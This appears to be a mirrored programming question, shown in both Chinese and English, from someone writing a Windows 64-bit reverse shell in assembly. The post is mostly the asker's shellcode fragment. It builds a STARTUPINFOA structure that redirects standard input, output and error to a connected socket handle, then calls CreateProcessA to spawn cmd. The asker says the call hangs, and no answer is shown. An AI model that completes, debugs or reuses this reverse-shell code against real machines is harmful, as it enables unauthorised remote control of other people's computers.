当编写64位反向外壳时,在CreaterProcessa API中陷入困境

发布于 2025-02-10 13:20:59 字数 1330 浏览 0 评论 0原文

您好,我正在编写Windows 64bit反向外壳,并在Gett连接到targetMachine IP之后,我想创建进程以spwan shell,拳头,我尝试为createProcess API编写startInfo struct,但是之后,我将所有参数传递给所有参数函数但行不通,这里是完整的代码 https://pastebin.com/6ft2jcmx

;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
    pop rcx                         ; Set ECX for the loop
    xor r11,r11
push_loop:

    push   r11                      ; push a null dword
    loop push_loop                  ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
  
mov dl,104
  
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
  
xor rdx,rdx
mov dl,255
inc rdx
  
mov [r12+0x3c],edx
mov [r12+0x50],r14 ;  HANDLE hStdInput;
mov [r12+0x58],r14 ;  HANDLE hStdOutput;
mov [r12+0x60],r14  ;HANDLE hStdError;


;createprocessA_calling
sub rsp, 0x70

push 'cmdA'
mov [rsp+3],byte dl
  
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
  
xor r8,r8
  
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
  
xor r9,r9
  
call rbx ;createprocessA

最后,当我打电话给createProcessa时,它被卡住了

hello i am writing windows 64bit reverse shell in assembly and after gett connected to the targetmachine ip, i want to create process to spwan a shell, fistly i try to write startinfo struct for createprocess api, but after then i pass all the parameters to the function but it doesn't work, and here is full code https://pastebin.com/6Ft2jCMX

;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
    pop rcx                         ; Set ECX for the loop
    xor r11,r11
push_loop:

    push   r11                      ; push a null dword
    loop push_loop                  ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
  
mov dl,104
  
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
  
xor rdx,rdx
mov dl,255
inc rdx
  
mov [r12+0x3c],edx
mov [r12+0x50],r14 ;  HANDLE hStdInput;
mov [r12+0x58],r14 ;  HANDLE hStdOutput;
mov [r12+0x60],r14  ;HANDLE hStdError;


;createprocessA_calling
sub rsp, 0x70

push 'cmdA'
mov [rsp+3],byte dl
  
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
  
xor r8,r8
  
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
  
xor r9,r9
  
call rbx ;createprocessA

so at last when i call the createprocessA it got stuck

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文